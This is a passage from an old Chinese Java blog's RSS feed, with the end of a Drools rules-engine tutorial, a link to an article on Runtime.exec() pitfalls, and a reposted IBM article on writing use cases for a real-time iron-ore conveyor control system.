<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rule is activated --&gt;<BR>&nbsp;&nbsp; &lt;java:consequence&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; stockOffer.setRecommendPurchase(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StockOffer.NO);&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; printStock(stockOffer);<BR>&nbsp;&nbsp; &lt;/java:consequence&gt;<BR>&nbsp; &lt;/rule&gt;</FONT></EM></P>
<P>&nbsp;&nbsp;&nbsp; 注意业务规则文件，在 rule name 后面，我们把 salience 设置成 -1（到目前为止了解的最低优先级）。大多数规则在系统中是冲突的，这意味着 Drools 必须为规则的执行顺序做判断，假设这些条件都与规则匹配。默认的判断方式是：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; Salience：赋予的值。<BR>&nbsp;&nbsp;&nbsp; Recency：使用规则的次数。<BR>&nbsp;&nbsp;&nbsp; Complexity：首先执行有复杂值的特定规则。<BR>&nbsp;&nbsp;&nbsp; LoadOrder：规则载入的顺序。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 如果没有显示的在规则中详细指明，将会发生：<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; XYZ 公司规则（"当价格高于 10 欧元就不购买 XYZ 的股票"）将先执行（Recommend Buy 标志被设置为 No）。<BR>&nbsp;&nbsp;&nbsp; 接着更多的一般规则（"购买所有 100 欧元以下的股票"）被执行，把 Recommend Buy 标志设置为 yes。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 这会给我们一个不想要的结果。然而，一旦在范例中设置了 saliency 要素，最终的测试和业务规则将像预期的那样顺利运行。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 大多数时间，编写清晰的规则和设置 saliency 将给 Drools 足够信息以选择合适的顺序执行规则，有时我们想改变整个规则冲突处理方式。下面的例子说明了如何改变，告诉规则引擎首先执行最简单的规则。要注意的是：改变冲突解决方案要小心，它可能从根本上改变规则引擎的行为。<BR>&nbsp;&nbsp;&nbsp; <BR><EM><FONT color=#000080>&nbsp; //Generate our list of conflict resolvers<BR>&nbsp; ConflictResolver[] conflictResolvers = <BR>&nbsp;&nbsp;&nbsp; new ConflictResolver[] {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SalienceConflictResolver.getInstance(),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RecencyConflictResolver.getInstance(),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SimplicityConflictResolver.getInstance(),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LoadOrderConflictResolver.getInstance()<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; //Wrap this up into one composite resolver<BR>&nbsp; CompositeConflictResolver resolver = <BR>&nbsp;&nbsp;&nbsp; new CompositeConflictResolver(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conflictResolvers);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; //Specify this resolver when we load the rules<BR>&nbsp; businessRules = RuleBaseLoader.loadFromUrl(<BR>&nbsp;&nbsp;&nbsp; BusinessLayer.class.getResource( <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BUSINESS_RULE_FILE),resolver);</FONT></EM></P>
<P>&nbsp;&nbsp;&nbsp; 我们的简单应用由 JUnit 测试驱动，我们不必改变 Drools 处理规则冲突的方式。知道冲突解决方案怎样运作是很有用的，尤其当你的应用为了迎合更复杂、更苛刻的需求时。<BR>&nbsp;&nbsp;&nbsp; <BR><FONT size=4><STRONG>结束<BR></STRONG></FONT>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 本文示范了大部分程序员不得不面对的问题：怎样安排复杂业务逻辑的顺序。我们示范了一个使用 Drools 作为解决方案并引入基于规则编程概念的简单应用，包括了怎样在运行时处理规则。接着，后续文章使用这些技术并展示了怎样在企业级 Java 应用中使用。<BR><BR><BR><STRONG><FONT face=宋体 color=#ff0000 size=2>请注意！引用、转贴本文应注明原译者：Rosen Jiang 以及出处：</FONT></STRONG><A href="http://www.blogjava.net/kapok/rosen/rosen"><FONT face=宋体 color=#ff0000 size=2><STRONG>http://www.blogjava.net/rosen</STRONG></FONT></A></P><img src ="http://www.blogjava.net/kapok/aggbug/12783.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-12 22:11 <a href="http://www.blogjava.net/kapok/archive/2005/09/12/12783.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>When Runtime.exec() won't </title><link>http://www.blogjava.net/kapok/archive/2005/09/08/12455.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 08 Sep 2005 10:35:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/08/12455.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12455.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/08/12455.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12455.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12455.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.htmlWhen Runtime.exec() won't Navigate yourself around pitfalls related to the Runtime.exec() methodSummary-->SummaryIn this install...&nbsp;&nbsp;<a href='http://www.blogjava.net/kapok/archive/2005/09/08/12455.html'>阅读全文</a><img src ="http://www.blogjava.net/kapok/aggbug/12455.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-08 18:35 <a href="http://www.blogjava.net/kapok/archive/2005/09/08/12455.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> 把用例应用到实时系统中的实践 </title><link>http://www.blogjava.net/kapok/archive/2005/09/07/12275.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Tue, 06 Sep 2005 16:23:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/07/12275.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12275.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/07/12275.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12275.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12275.html</trackback:ping><description><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width=2></TD>
<TD><SPAN class=atitle>把用例应用到实时系统中的实践<BR><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/">http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/</A></SPAN></TD>
<TD width=8><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=8 border=0></TD>
<TD align=right width=180><NOBR>
<TABLE cellSpacing=0 cellPadding=0>
<TBODY>
<TR vAlign=top>
<TD align=right></TD>
<TD width=46>
<FORM action=https://www-130.ibm.com/developerworks/secure/email-it.jsp><INPUT type=hidden value=本文介绍了一个真实的范例，然后讨论了在把用例用来定义实时系统的规格时遇到的问题，以及相关的经验学习。 name=body><INPUT type=hidden value=把用例应用到实时系统中的实践 name=subject><INPUT type=hidden value=cn name=lang><INPUT type=image src="http://www-128.ibm.com/developerworks/cn/i/icon-email.gif" border=0 name=email></FORM></TD></TR></TBODY></TABLE></NOBR></TD>
<TD width=6><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=6 border=0></TD></TR>
<TR vAlign=top>
<TD bgColor=#000000 colSpan=5><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=100 border=0></TD></TR>
<TR vAlign=top>
<TD bgColor=#ffffff colSpan=5><IMG height=8 alt="" src="http://www.ibm.com/i/c.gif" width=100 border=0></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width=5><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=5 border=0></TD>
<TD width="100%">
<TABLE cellSpacing=0 cellPadding=0 width=168 align=right border=0>
<TBODY>
<TR>
<TD width=8><IMG height=21 alt="" src="http://www.ibm.com/i/c.gif" width=5></TD>
<TD width=160>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>内容：</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N10038">概述</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N1004C">为什么我们需要这篇文章？</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N1005A">什么是实时系统的特点？</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N1006B">产品传送系统(PT)项目</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N10099">PT系统的用例模型</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N10161">结构化用例</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N10190">补充需求</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N101D7">用例的益处</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N101F7">用例贯穿整个项目</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N1026C">经验学习</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N102BC">总结</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR><!--Standard links for every dw-article-->
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#rating">对本文的评价</A></TD></TR>
<TR>
<TD><IMG height=10 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>订阅:</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=1 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/newsletter/">developerWorks 时事通讯</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/rationaledge/">The Rational Edge</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=150 bgColor=#000000 colSpan=2 height=2><IMG height=2 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD width=150 bgColor=#ffffff colSpan=2 height=2><IMG height=2 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<P><NAME>Kerry</NAME><BR><BR>2004 年 11 月 </P>
<BLOCKQUOTE>本文介绍了一个真实的范例，然后讨论了在把用例用来定义实时系统的规格时遇到的问题，以及相关的经验学习。</BLOCKQUOTE>
<P><A name=N10038><SPAN class=atitle2>概述</SPAN></A><BR>本文基于我去年为客户开发一个实时控制系统的工作。</P>
<P>本文的目标是：第一，重点描述实时系统规格的确定和用例之间的关系；第二，描述我们如何开发用例模型以及应用用例给我们带来了哪些益处。</P>
<P>要说明的第一件事情是为什么我们需要类似这样的一篇文章，然后我们再说明用用例来描述实时系统有哪些特殊之处。</P>
<P>在叙述为什么需要本文之后，我将描述一个具体项目和它的用例模型。我将重点描述用例模型的一些有趣的和有意义的特性，然后看看它们是如何有益于项目的。最后，我将讨论一些经验学习，并给出一些建议。</P>
<P><A name=N1004C><SPAN class=atitle2>为什么我们需要这篇文章？</SPAN></A><BR>有一种看法认为用例只对你描述高度交互的系统有用，这些系统以IT系统为代表，如银行系统。例如，在银行中你可能需要处理一个抵押应用，它会有大量的用户交互。对于实时系统来说，并不存在那么多的用户交互。但是，如果实时系统具有有意义的外部可视的行为，用用例描述仍然对定义它们的规格是有用的，即使在一些用例中用户只是选择一些设置以及告诉系统完成一些功能。</P>
<P>在为客户工作了这么多年来，我发现用例被广泛地误解。尽管有很多与之相关的书籍、文章和培训课程。可能这些书籍、文章和培训课程都只关注于问题，因此它们提供大量的不同的方法。在这些著作中经常提到的一个例子是自动柜员机(ATM)。类似这样的例子对于说明一些问题是有用的，但在处理很大而且很复杂的实际系统时却通常没有明显的帮助。在实时系统中你将怎样处理出现的问题？有一些实际的例子可以对你有所帮助，本文恰恰可以给你提供这样一个实际的例子。</P>
<P><A name=N1005A><SPAN class=atitle2>什么是实时系统的特点？</SPAN></A><BR>实时系统就是时间是最关键因素的系统。如果一个系统不理会它的时间需求，将可能导致生命危险，例如造成飞机失事。简单来说，对于这样的系统，对于时间需求处理的失败将可能导致产品的损害和上百万美元的损失。</P>
<P>实时系统也有最小限度的用户交互，对于这类系统怎么样定义它的用例是一件值得考虑的事情。实时系统通常都是高度算法化的，用例可能并不是最好的描述算法的文档方法。典型地，一个用例将引用在其它地方描述的算法。</P>
<P>如果你的系统具有有效的外部可视行为，那么用例能够极大地帮助你文档化你的系统需求。下面我描述的系统就有大量外部可视行为。在IT系统中应用用例的规则在这里仍然适用。</P>
<P><A name=N1006B><SPAN class=atitle2>产品传送系统(PT)项目</SPAN></A><BR>用户是一个全球最大的铁矿生产商，它在澳大利亚西北的Headland港拥有一套铁矿传送工厂。铁矿从传送带网络传送到火车车厢，然后分类，称重，保存在仓库。最后铁矿从仓库中运出，再通过传送带运送到船上。</P>
<P>这个系统中每个东西都很大。有的传送带有7公里长，需要15分钟才能启动。运行传送带网络需要一个复杂的控制系统。对控制系统的一个需求是减少运行系统需要的人数。另一个需求是降低对运行系统的人的培训需求。图1是工厂的航拍图。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig1.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图1：</B> Hedland港工厂的航拍图 
<P>在左上角有一个船泊位。你可以看到有铁路线从右边连过去。卸货场在接近于中间的垂直线附近。在这个线的顶端是粉碎机。你可以在北面和南面的院子里看到仓库。传送带运行在卸货场和粉碎机，以及粉碎机和仓库之间。 你可以看到运输机从仓库装上铁矿，把它运到船上。运输机的容量非常大。在这个系统中，传送带可以在一小时内传送10000吨的铁矿！</P>
<P>有一些能够增加系统复杂度的需求非常值得关注。控制系统在避免溢出的情况下要达到最大的生产能力。出口容量在2004年从每年67M（百万）吨增加到81M吨，到2011年将扩大到90M吨。</P>
<P><A name=N10088><SPAN class=atitle3>基本概念：作业(route)</SPAN></A><BR>一个作业(route)由一系列传送带、定位和反馈设备组成，这些设备被选择和调配以便把铁矿从源位置运送到目标位置。作业可以是单独的，也可以共享设备以便允许把铁矿分开运输，从一个源位置运送到多个目标位置，或者组合运输，从多个源位置运送到一个目标位置。这些作业由操作员创建、维护和删除。一旦操作员启动作业，系统就开始工作，按照正确的顺序启动每个工作，以及处理一些异常状态例如有不合适的产品已经在传送带上。</P>
<P>为了达到生产力的需求，控制系统采用激进的启动和错误处理策略。尽管已经存在的系统在一个时间点一个作业只能启动一条传送带，当它达到最大速度后，再启动下一条，依此类推。 新的控制系统在一个作业中将同时启动所有的传送带－－注意我们的传送带的长度不同，启动时间和容量也不同。在出现问题时，新的系统试图尽可能关闭最少数量的设备以避免溢出，因为启动一个长的传送带需要15分钟。无论什么可能情况，设备都将保持运行，直到铁矿有可能溢出为止。系统需要同时运行作业，以便矿石能够传送到多个目标位置或者把矿石从多个源位置组合到一个位置。</P>
<P>设备失败的处理是全自动的。当一个传送带一小时可以传送超过10000吨矿石时，你可以想象出现问题时不能很快停下传送带的后果。这个结果并不是你可以用独轮车能够清理干净的！你将不得不使用一些重型设备来清理那些溢出的矿石，而且需要花费很长的时间。甚至有更坏的结果，比如一个错误导致矿石已经倒进了船的甲板上。</P>
<P><A name=N10099><SPAN class=atitle2>PT系统的用例模型</SPAN></A><BR>本文的工作基于IBM(r) Rational Unified Process(r) (RUP(r))和一本名为“用例建模”的书，这本书由Kurt Bittner和Ian Spence合著。用例是一个可供选择的写需求的方法。在过去，我们基于一个词"shall"来书写这些声明。在几年前我曾经在一个国防项目工作，它包括22卷需求文档，没有人能够真正全部理解它们。确认所有的需求描述是正确的和一致的是一件非常困难的事情。用例可以帮助我们处理这类问题。用例把需求放在系统提供给用户和有关人员的上下文中。 按照顺序描述每个用例以消除上下文的冗余，这些冗余在用传统的基于"shall"的需求描述方法中是必然包括的。</P>
<P>这里仅仅描述用例模型的一些特点，因为全部模型太大，也太复杂。用例的规范非常长，也非常细致。</P>
<P><A name=N100A7><SPAN class=atitle3>识别角色(actor)</SPAN></A><BR>在整个操作开始前主要工作集中在识别角色是非常重要的，因为它可以确定系统的边界，清楚地指示哪些是在系统范围内，哪些在系统范围外。我们不想开发那些我们没有必要付钱的东西。在PT系统中，运输机是一个我们需要交互的系统。这里我们只需要知道运输机干什么工作，并不需要控制它如何工作，我们也不需要修改它。既然我们不控制运输机，它就在我们的系统范围之外，作为一个角色模型存在。我们有Ship-Hatch Loaders, Stackers, Sampling Stations 和Dust Control Systems - 所有这些外部系统都作为角色模型。图2显示部分这个系统的角色。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig2.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 2:</B> PT系统角色 
<P>在图2中，角色使用UML 包分组。在左边是角色包。最重要的一个在左上角。CRO 就是Control Room Operator，中央控制室操作员。其它重要的还有在左下角的RSMT(Root System Maintenance Technician，根系统维护技术员)。</P>
<P>其它的包包括所有不同的设备角色。一些用例提到我们管理的通用设备，另一些将提到特定的不同类型的设备。</P>
<P>在图的下方有一些与我们交互的外部设备。左边的一个是PMAC，一个已经存在的系统用来处理我们的用户界面。如果它仅仅是与我们的系统相关的用户界面，那么我们不需要把它看作角色，因为实际上角色是CRO。但是它实际上是我们相关的角色，因为我们给它传递信息，并且从它那里收集信息。</P>
<P>电力负荷管理系统Power Load Management System (PLMS)是值得关注的。在Headland港，港口工厂有自己的电站。当你启动7KM长的传送带，并在上面运行数千吨的矿石是，它需要大量的电力供应。因此，传送带的启动实际上是错开的，以便降低电站的负荷。只要你想启动传送带，PT系统都将询问电站并得到电站的许可。</P>
<P><A name=N100C7><SPAN class=atitle3>确定用例</SPAN></A><BR>用例是一种简单的可选择的定义需求的方法。首先，让我们再次回顾一下用例的定义：</P>
<P>用例定义一个由系统完成的操作序列，它给操作者和相关人员提供 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">可观察到的有价值的结果</B>。 </P>
<P>在识别IT系统的用例时，牢记“可观察到的有价值的结果”是非常重要的，这一点在这里仍然适用。我们将看到系统提供给操作者和相关人员的值。在我们的例子中，中央控制室操作员是一个角色，但是整个公司实际上都可以看到系统把矿石从一个地方移动到另外的地方。“由系统完成的操作序列”声明了在用例中系统怎么做的描述。这些每个都是我们系统的需求。最后，用例是一个完整的有意义的事件流。把“完整的有意义的事件流”和“可观察到的有价值的结果”这两个概念组合起来可以帮助避免识别出不完整的功能片断并把它称为用例。</P>
<P>用例和角色在用例图中以图形化的方式描述。图3显示了 PT系统的顶层用例图。你很快就能看到 PT系统的用例分为4组：Operation, Administration, Configuration 和System Startup。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig3.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 3:</B> 顶层用例图 
<P>PT系统中用例相关的操作在图4中显示:</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig4.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 4:</B> PT系统的用例 
<P>PT的主要用例是“传送产品”。正如这个用例的名字那样，你可以看到在这里系统提供给用户和有关人员的价值是把产品从一个地方运送到另一个地方的能力。这个软件也能够用来运送其它物品，不仅仅是铁矿。例如它能够用来在制药厂传送药片。传送产品是一个很大的用例，但它抓住了最根本的因素，即我们的系统存在的原因，即给我们的操作者和相关人员提供的价值。</P>
<P>在图4中我们看到与电源管理系统(PLMS)的交互，请求启动设备，我们也看到了用例与我们控制的设备的交互。我们可以显示每个设备角色，但那样的话，图就显得太混乱了。</P>
<P>在图4中，从CRO到传送产品的箭头，表示这个操作员发起或者启动这个用例。用例到设备和PLMS操作者的箭头表示这个用例或者系统与设备和PLMS交谈。从船舱装载系统(SHLS)的箭头表示SHLS发起与系统的交互－－特别地，SHLS可以请求铁矿流暂时中断以便装载机移动到另一个舱室。</P>
<P>有关管理、配置和系统启动的用例在图5中描述。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig5.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 5:</B> 有关管理、配置和启动的用例 
<P>在这里我们可以做的一件事情是在对系统的操作影响最小的情况下更新系统软件。因此我们有"Perform Software Upgrade" 用例。我们也有"Start System" 用例 -这个用例经常被忘掉。系统有人身安全优先的规则，Start System 用例包括在系统启动时进行的所有安全检查的规格说明。你一定不想在服务人员在传送带上工作时偶然地启动它！</P>
<P>Route System Maintenance Technologist (RSMT)是一个负责创建作业或者预定义作业的人，预定义的作业稍后由CRO使用。我们可以在系统中添加新的设备，定义新设备的种类以及定义系统传送产品的特点。港口工厂处理来自不同矿山的不同类型的铁矿，它们有不同的颗粒大小、不同的矿石成分等级。我们要非常小心的一件事情是避免把错误的矿石装到船上去。</P>
<P>关于用例图这里要警告一下：用例图只是冰山的一角。直到你开始写用例规格之前不要去重新分解、重组和调整用例模型。用例的规格大约95％来自用例模型。用例图仅仅给你一个模型的总体、全面的概要描述。</P>
<P>正如我前面提到的，用例描述“事件流”。图6显示不同种类的事件流和它们是如何在用例规格中描述的。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig6.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 6:</B>主事件流和分支流 
<P>从顶部到底端底蓝色粗线条表示主事件流(Basic Flow)。它表示每件事情都按照正确的方式发生。有很多种分支流(Alternate Flow)。描述处理设备故障的分支是一个很好的分支流的例子。另一个例子是描述操作员取消了前面请求的动作。</P>
<P>这里一个非常重要的结构是子事件流(Subflow)。子事件流就象子程序调用。我们试图保持主事件流简单易读，没有子事件流是很难做到这一点的。例如，我们使用子事件流来描述我们启动或者安放设备位置时发生的细节。这些过程每个都相当复杂，如果我们都在主事件流上描述，那么它将变得很长并且很难理解。</P>
<P>图7显示一个主事件流的片断：</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig7.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 7:</B> 描述启动一个作业的主事件流示例 
<P>在第二步，系统检查作业是否有效。如果系统确认作业无效时会发生什么？这在分支流中描述。在用例规格中我们使用脚注来指示分支流，脚注文本包括指向相关文档章节的交叉引用。这将减少描述事件流的混乱，使得它更容易读。在这里我使用 "§" 符号指示存在一个分支流。我也用高亮的红色表示这是项目术语表－－一份很重要的文档－－中的定义。</P>
<P>在第3步，系统检查选择的作业的启动策略。"Starting/Positioning Stragegy 2.1"表示交错启动，它需要在启动作业前所有的设备都到位。这个启动策略在分支流中描述。最后系统向PLMS询问是否允许启动作业。如果不允许时发生的事情也在分支流中描述。</P>
<P>在图8中，我们将看到分支流和子事件流的例子。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig8.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 8:</B> 分支流和子事件流示例 
<P>分支流定义当基于某种原因设备不到位，因而这个作业不能启动时应该发生什么。系统给操作者发一个消息，建议在我们实际启动作业前把设备移动到相应的位置。在这个点上，用例就结束了。</P>
<P>子事件流的例子提供我们实际上如何启动作业的更详细的信息。系统检查全部作业设备是否畅通（传送带上没有其它物品）。如果正常，系统同时移动所有需要定位的设备到相应的位置，包括作业自己需要的设备和要与其它作业共享的设备，然后我们交错启动所有的设备以避免电力过载。当全部设备都运行起来后，我们告诉操作员作业已经启动，然后用例结束。第16步的 "a", "b" 和 "c" 也涉及了子事件流。</P>
<P><A name=N10147><SPAN class=atitle3>特殊需求</SPAN></A><BR>有很多需求，特别在实时系统中，不能归结到用例的事件流中。通常它们是非功能需求如性能、可用性等等。那些与给定用例相关的特殊需求可以归结到与用例规格定义相关联的"特殊需求"一节中。有时为了方便，甚至功能需求也可以放到这一节中。图9即为一个示例。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig9.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 9:</B> 特殊需求 
